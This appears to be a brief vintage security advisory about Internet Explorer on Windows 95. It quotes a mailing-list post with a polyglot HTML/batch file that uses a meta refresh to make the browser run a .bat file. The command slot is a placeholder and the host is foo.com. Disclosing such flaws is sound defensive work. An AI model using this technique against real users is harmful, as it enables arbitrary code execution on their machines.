DATE:  
COMMAND                                            SOURCE: 
                                                   AUTHOR: 
  IE

SYSTEMS AFFECTED

  Windows 95
  

PROBLEM


    The following  was posted  to BoS.   This HTML  script should make
    MSIE run any .bat file.  Here comes script.

        http://foo.com/blah.bat

        -------------------------
        @echo "<html>" > nul
        @echo Insert Evil Command of the Week here!
        exit
        <meta http-equiv="refresh" content="0; url=w/blah.bat">
        @echo "</html>" > nul



EXPLOIT

  

SOLUTION


    ??? (use something else, I use lynx)